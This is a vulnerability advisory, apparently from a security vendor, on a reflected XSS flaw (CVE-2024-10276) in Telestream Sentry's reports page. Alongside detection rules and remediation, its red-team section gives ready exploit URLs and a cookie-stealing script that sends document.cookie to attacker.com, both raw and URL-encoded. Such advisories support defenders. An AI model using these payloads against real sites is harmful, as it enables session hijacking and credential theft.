CVE-2024-10276
Executive Summary
CVE-2024-10276 is a reflected Cross-Site Scripting (XSS) vulnerability in Telestream Sentry version 6.0.9. The flaw exists in the /?page=reports endpoint, where the z parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads in the z parameter. When a victim clicks the link, the script executes in the context of the Sentry application, potentially leading to session hijacking, credential theft, or redirection to malicious sites. The vulnerability is classified as problematic with a low CVSS score due to the requirement for user interaction. No official patch has been released at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click a crafted link.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No direct data exposure.
- Integrity Impact: Low (I:L) – Attacker can modify content in the victim’s browser.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Low to Medium. The requirement for user interaction reduces the immediate risk, but the public availability of exploit details increases the threat for unpatched instances.
Deep Dive & Mechanics
The vulnerability resides in the Reports page of Telestream Sentry. The z parameter is used to pass data to the page, likely for filtering or display purposes. The application fails to encode or sanitize this input before embedding it in the HTML response. An attacker can inject arbitrary JavaScript by providing a payload such as <script>alert('XSS')</script> in the z parameter.
Root Cause: Lack of output encoding for user-supplied input in the z parameter. The application likely uses a server-side include or template that directly echoes the parameter value without proper escaping.
Attack Flow:
- Attacker crafts a malicious URL:
https://target-sentry/?page=reports&z=<script>alert('XSS')</script> - Attacker sends the link to a victim (e.g., via email, social engineering).
- Victim clicks the link while authenticated to the Sentry application.
- The browser renders the page, executing the injected script.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable PHP example
$z = $_GET['z'];
echo "<div>Report parameter: $z</div>";
Patched Code (Conceptual):
// Patched PHP example
$z = $_GET['z'];
echo "<div>Report parameter: " . htmlspecialchars($z, ENT_QUOTES, 'UTF-8') . "</div>";
The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Telestream Sentry 6.0.9 (or vulnerable version).
- A web browser with developer tools.
Exploitation Steps:
- Identify the target Sentry instance.
- Craft a proof-of-concept URL:
http://target-sentry/?page=reports&z=<script>alert('XSS')</script> - Send the URL to a victim (simulated in lab).
- Observe the JavaScript execution.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
URL-encoded:
http://target-sentry/?page=reports&z=%3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%20%2B%20document.cookie)%3C%2Fscript%3E
Blue Team
Detection:
- Monitor web server logs for requests to
/?page=reportswith suspiciouszparameter values (e.g.,<script>,onerror=,javascript:). - Use WAF rules to block common XSS patterns in the
zparameter.
Mitigation:
- Apply input validation: allow only alphanumeric characters and specific safe characters.
- Implement output encoding for all user-supplied data.
- Use Content Security Policy (CSP) headers to restrict script execution.
Indicators of Compromise (IOCs)
- URL Pattern:
/?page=reports&z=<script>... - HTTP Request Example:
GET /?page=reports&z=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1 Host: target-sentry - Log Entry: Requests to
/?page=reportswith non-standardzparameter values. - Network Traffic: Outbound connections to attacker-controlled domains from the Sentry server (if session hijacking is successful).
Detection Engineering
YARA Rule
rule CVE_2024_10276_XSS {
meta:
description = "Detects XSS attempts targeting CVE-2024-10276 in Telestream Sentry"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-10276"
strings:
$xss_pattern1 = /[?&]z=.*<script/i
$xss_pattern2 = /[?&]z=.*onerror/i
$xss_pattern3 = /[?&]z=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-10276 XSS Attempt in Telestream Sentry
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts via the z parameter in Telestream Sentry
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/?page=reports&z='
cs-uri-query|re: '(?i)<script|onerror|javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10276 XSS Attempt in Telestream Sentry"; flow:to_server,established; content:"GET"; http_method; content:"/?page=reports&z="; http_uri; pcre:"/(?i)<script|onerror|javascript:/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Restrict the
zparameter to only accept expected characters (e.g., alphanumeric, hyphens, underscores). - Output Encoding: Apply HTML entity encoding to the
zparameter before rendering. - Web Application Firewall (WAF): Deploy rules to block common XSS payloads in the
zparameter. - Content Security Policy (CSP): Add a CSP header to restrict script execution to trusted sources.
Long-Term Fix:
- Telestream should release a security patch that properly sanitizes the
zparameter. - Until a patch is available, consider disabling the Reports page or restricting access to trusted users.
Workaround:
- Use a reverse proxy to rewrite or block requests containing suspicious patterns in the
zparameter.
Valters IT
Securing Digital Frontiers